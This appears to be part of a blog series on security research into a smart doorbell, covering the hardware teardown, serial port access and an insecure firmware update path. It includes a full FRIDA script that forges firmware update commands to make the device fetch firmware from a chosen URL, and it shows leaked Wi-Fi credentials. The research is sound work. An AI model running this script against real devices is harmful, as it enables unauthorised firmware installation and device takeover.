Smart Doorbell Security (Part 3) (Wireless credential theft)
Device overview
Previously, we looked at one facet of the software that was used to communicate with our device, focusing specifically on the security authentication and pairing mechanisms, as well as the protocol.
In this part, we’ll tear down the device and review the hardware and exposed test ports.
Hardware inspection
Opening up the device, we have two PCBs, of which I’ve annotated below:
The Huawei HiSillicon 3518 SoC is visible and notable. This is a purpose built SoC designed for IP Cameras and the datasheet tells us some interesting details:
- CPU: ARM9@Max. 440 MHz, 16 KB I-cache,
and 16 KB D-cache. - Security engine: Various encryption and decryption algorithms using hardware, such as AES, DES, and 3DES. Digital watermarking also available.
In addition, we note that this SoC commonly is coupled with Huawei’s LiteOS.
Firmware upgrade mechanisms and analysis
Through passive observation of the Android application and its traffic, there is an insecure firmware upgrade mechanism. The application issues an HTTP request to check whether newer than installed firmware is available, if you choose to upgrade, an IOCTL packet is built containing the MD5 hash and URL of the firmware to be downloaded, which is then duly downloaded and installed by the device.
The Android application exposes many IOCTL codes, although some are clearly not applicable, such as:
./com/ubia/IOTC/AVIOCTRLDEFs.class:
public static final int UBIA_IO_EXT_GARAGEDOOR_REQ = 12288;
public static final int UBIA_IO_EXT_GARAGEDOOR_RSP = 12289;
public static final int UBIA_IO_EXT_ZIGBEEINFO_REQ = 12290;
public static final int UBIA_IO_EXT_ZIGBEEINFO_RSP = 12291;
The JSON blob containing firmware data that is used in construction of the IOCTL packet:
{
"file_url": "http://[REDACTED]/download.php?filename=FOrQ8BNDLw.0.3.26-1809101502-9732",
"lastversion": "101.0.3.26",
"file_size": 4047584,
"file_type": 1,
"md5sum": "d41d8cd98f00b204e9800998ecf8427e",
"desc": "Adding adaptive phones"
}
Crafting our own firmware update request (with FRIDA)
We can coerce the Android application into sending a different IOCTL code and packet than is expected via function hooks and FRIDA.
The following FRIDA script will issue a firmware update request in place of toggling cloud storage uploading for example:
console.log("Script loaded successfully ");
// AVAPI IOCTLS
var IOTYPE_USER_IPCAM_FIRMWARE_UPDATE_REQ = 4631;
var IOTYPE_USER_IPCAM_FIRMWARE_UPDATE_RSP = 4632;
Java.perform(function x(){ //Silently fails without the sleep from the python code
console.log("Inside java perform function");
// we can call any IOCTL management methods here, which will allow us to send
// IOCTLs the management class supports. We can't however, use
// this class to call arbitrary IOCTLs based on what's available
var ioctls_class = Java.use("cn.ubia.manager.CameraManagerment");
// Used to hook the IOCTL send function.
// Allows us to tap into IOCTL sends and in our case,
// Inject an IOCTL when a certain IOCTL code is seen,
// such as enabling "Cloud storage" in our case
// Triggered by hitting the switch in the application.
//
// Note that IOCTL Recv is called in a thread and
// will automatically dump the content via Logcat
// when ANY data is received from the device
var avapis = Java.use("com.my.IOTC.UBICAVAPIs");
// our device identifier used for LAN comms
var uid = "[...]";
// ubia_UBICAVAPIs.avSendIOCtrl(this.mAVChannel.getAVIndex(), localIOCtrlSet.IOCtrlType, localIOCtrlSet.IOCtrlBuf, localIOCtrlSet.IOCtrlBuf.length);
avapis.avSendIOCtrl.implementation = function(a, ioctl_code, ioctl_data, ioctl_len){
var header_size = 28; // 28 byte header in UDP packets
console.log();
console.log("Send IOCTL hook!");
// catch cloud storage toggle
if(ioctl_code.toString(16) == "1a"){ // 1a = UBIA_IO_SET_CLOUD_REQ
console.log("Got Cloud Cloud IOCTL. Modifying!");
/*
// For reference:
./com/ubia/IOTC/AVIOCTRLDEFs.class
// firmware update request
public static class SMsgAVIoctrlFirmwareUpdateReq
{
byte[] data = new byte['??'];
byte file_md5_len;
int file_size;
byte file_type;
byte[] file_url = new byte['??'];
byte file_url_len;
byte[] md5sum = new byte[32];
byte resv;
int version;
public void getData(byte[] paramArrayOfByte)
{
this.data = paramArrayOfByte;
}
public byte[] getData()
{
System.arraycopy(Packet.intToByteArray_Little(this.version), 0, this.data, 0, 4);
this.data[4] = ((byte)this.file_type);
this.data[5] = ((byte)this.file_url_len);
this.data[6] = ((byte)this.file_url_len);
this.data[7] = ((byte)this.resv);
System.arraycopy(Packet.intToByteArray_Little(this.file_size), 0, this.data, 8, 4);
System.arraycopy(this.md5sum, 0, this.data, 12, this.file_md5_len);
System.arraycopy(this.file_url, 0, this.data, 44, this.file_url_len);
return this.data;
}
*/
ioctl_packet = "SMsgAVIoctrlFirmwareUpdateReq"; // class which details the expected packet body
// instantiate
var data_class = Java.use("com.ubia.IOTC.AVIOCTRLDEFs$" + ioctl_packet);
var data_inst = data_class.$new();
// firmware update req ---
// build the packet (general IOCTLs)
ioctl_code = IOTYPE_USER_IPCAM_FIRMWARE_UPDATE_REQ; // ./com/ubia/IOTC/AVIOCTRLDEFs.class
/*
// Could have used these...
// special IOCTL (firmware update)
var update_url = "http://192.168.0.1/file54";
var md5sum = "d41d8cd98f00b204e9800998ecf8427e";
var encoder = new TextEncoder();
var b_update_url = encoder.encode(update_url);
var b_md5sum = encoder.encode(md5sum);
console.log("Building packet");
data_inst.setFile_url(b_update_url);
data_inst.setMd5sum(b_md5sum);
data_inst.setFile_type(1);
data_inst.setFile_size(80000);
data_inst.setVersion(1010327);
data_inst.setFile_url_len(b_update_url.length
data_inst.setFile_md5_len(b_md5sum.length);
data_inst.setResv(b_md5sum.length)
ioctl_data = data_inst.getData();
console.log("Packet built");
*/
// build our firmware update packet.
// Built manually to allow more granular testing
var ioctl_data = Java.array('byte', [
0x1b, 0x03, 0x00, 0x65, // version
0x01, // file type
0xFF, // url len
0xFF, // url len
0xFF, // resv
0xEF, 0xBE, 0xAD, 0xDE, // file size
// md5sum
0x64, 0x34, 0x31, 0x64, 0x38, 0x63, 0x64, 0x39, 0x38, 0x66, 0x30, 0x30, 0x62, 0x32, 0x30, 0x34, 0x65, 0x39, 0x38, 0x30, 0x30, 0x39, 0x39, 0x38, 0x65, 0x63, 0x66, 0x38, 0x34, 0x32, 0x37, 0x65,
// url: http://192.168.0.1/download.php?filename=firmware.data
0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x31, 0x39, 0x32, 0x2E, 0x31, 0x36, 0x38, 0x2E, 0x30, 0x2E, 0x31, 0x2F, 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x2E, 0x70, 0x68, 0x70, 0x3F, 0x66, 0x69, 0x6C, 0x65, 0x6E, 0x61, 0x6D, 0x65, 0x3D, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x2E, 0x64, 0x61, 0x74, 0x61
]);
ioctl_len = ioctl_data.length;
}
// dump IOCTL code
console.log("IOCTL: 0x" + ioctl_code.toString(16));
// dump packet data in hex
var data = "";
var buffer = Java.array('byte', ioctl_data);
console.log("Data Len: " + buffer.length + ". Packet len: " + (buffer.length+header_size) + ". Ioctl len: " + ioctl_len);
for(var i = 0; i < buffer.length; ++i){
data += buffer[i].toString(16) + " ";
}
console.log(data);
// send our IOCTL
var ret_value = this.avSendIOCtrl(a, ioctl_code, ioctl_data, ioctl_len);
return ret_value;
}
console.log("Waiting...");
});
function hexToBytes(hex) {
for (var bytes = [], c = 0; c < hex.length; c += 2)
bytes.push(parseInt(hex.substr(c, 2), 16));
return bytes;
}
function bytesToHex(bytes) {
for(var hex = [], i = 0; i < bytes.length; i++) { hex.push(((bytes[i] >>> 4) & 0xF).toString(16).toUpperCase());
hex.push((bytes[i] & 0xF).toString(16).toUpperCase());
hex.push(" ");
}
return hex.join("");
}
Whilst the above script is somewhat self-explanitory, it essentially hooks the IOCTL handler of the Android application, watches for a certain IOCTL code and then replaces that particular code with a firmware update code, whilst crafting a raw update payload and sending that in place of the intended data.
Firmware analysis (round 1)
Analysing the available firmware, it’s clearly encoded in some way:
$ file firmware_uboot_image
firmware_uboot_image: u-boot legacy uImage, 7518-hi3518-liteoslzm, Linux/ARM, Filesystem Image (any type) (Not compressed), 4047520 bytes, Mon Sep 10 07:01:51 2018, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0xE3052E46, Data CRC: 0xC7764D8B
Extracting the uimage (via removal of the 64-byte header) yields a file unrecognised by binwalk and with no discernible ASCII strings. Services such as BinVis allow us to visualise entropy and highlight patterns, in our case the entropy is high and patterns exist but are few and far between:
The firmware is possibly encrypted or compressed in some way:
$ hexdump unpacked | head
0000000 c290 003d 0d4c 0067 0000 0000 0000 0000
0000010 c030 54fb 8c5e a971 0400 9210 4873 5100
0000020 d00d 100d 500e e00e f7a1 1003 a069 8401
0000030 fff8 fefe fefe fefe fefe fefe fefe fefe
0000040 6736 1002 050c 0026 c081 03c5 8710 3c5f
0000050 4100 c610 1003 1f09 0040 1ae1 0412 8b10
0000060 4222 bffd fefd fefe fefe fefe fefe fefe
0000070 fefe b6fe 32bf c701 bbc1 0670 9a90 624e
0000080 2100 253a 1006 0c9d 0067 b231 00e4 a510
0000090 0e49 a100 3605 b304 00da a502 0c4b 3020
Notably, the first DWORD in little-endian holds the value ‘4047504’ in decimal. The size of our file post removal of the uImage header is is 4047522 bytes. These are very close, albeit not exact.
Accessing the serial port
The photos in the tear-down don’t portray very well the pin-pitch of the serial port exposed on the board.
I found traditional male-female jumper leads were too chunky to fit over the exposed pins.
Having measured the pitch, I was able to find a 1.25mm JDC connector. After continuity testing to find GND and VCC pins as well as voltage, alongside some trial and error, I was able to safely establish a connection with the device using a USB to serial adapter:
The casing of the device helpfully has tactfully placed holes within it that allow it be put back together in this testing state:
Exposure of wireless credentials
With the serial port accessible, we’re greeted with a U-Boot boot-loader and a LiteOS root shell.
System startup
U-Boot 2010.06 (Jun 11 2018 - 22:44:56)
Check Flash Memory Controller v100 ... Found
SPI Nor(cs 0) ID: 0xef 0x60 0x17
Block:64KB Chip:8MB Name:"W25Q64FW"
SPI Nor total size: 8MB
MMC:
EMMC/MMC/SD controller initialization.
Card did not respond to voltage select!
No EMMC/MMC/SD device found !
In: serial
Out: serial
Err: serial
uboot-other-mipi-init
=== UBoot OV9732 (MIPI) init success! ===
Press Ctrl+C to stop autoboot
8192 KiB hi_fmc at 0:0 is now current device
## Starting application at 0x80008000 ...
Mo
Huawei LiteOS #
The firmware also emits the wireless network SSID and password configured in the earlier initial pairing process:
[159][ULOG_INFO]ubia_get_local_mgmt[1915] [size:3]ssid=jjf,[size:8]akey=joshua27 auth:2 paired:1
This is perhaps the most concerning issue with the device, as it sits outside any secure permiter. An attacker could just prise the doorbell off the wall and grab my network credentials, optionally taking some additional effort to avoid the wall removal button being depressed and triggering an alert.
In the next part of this series, we’ll analyse the bootloader and review the firmware decompression routine.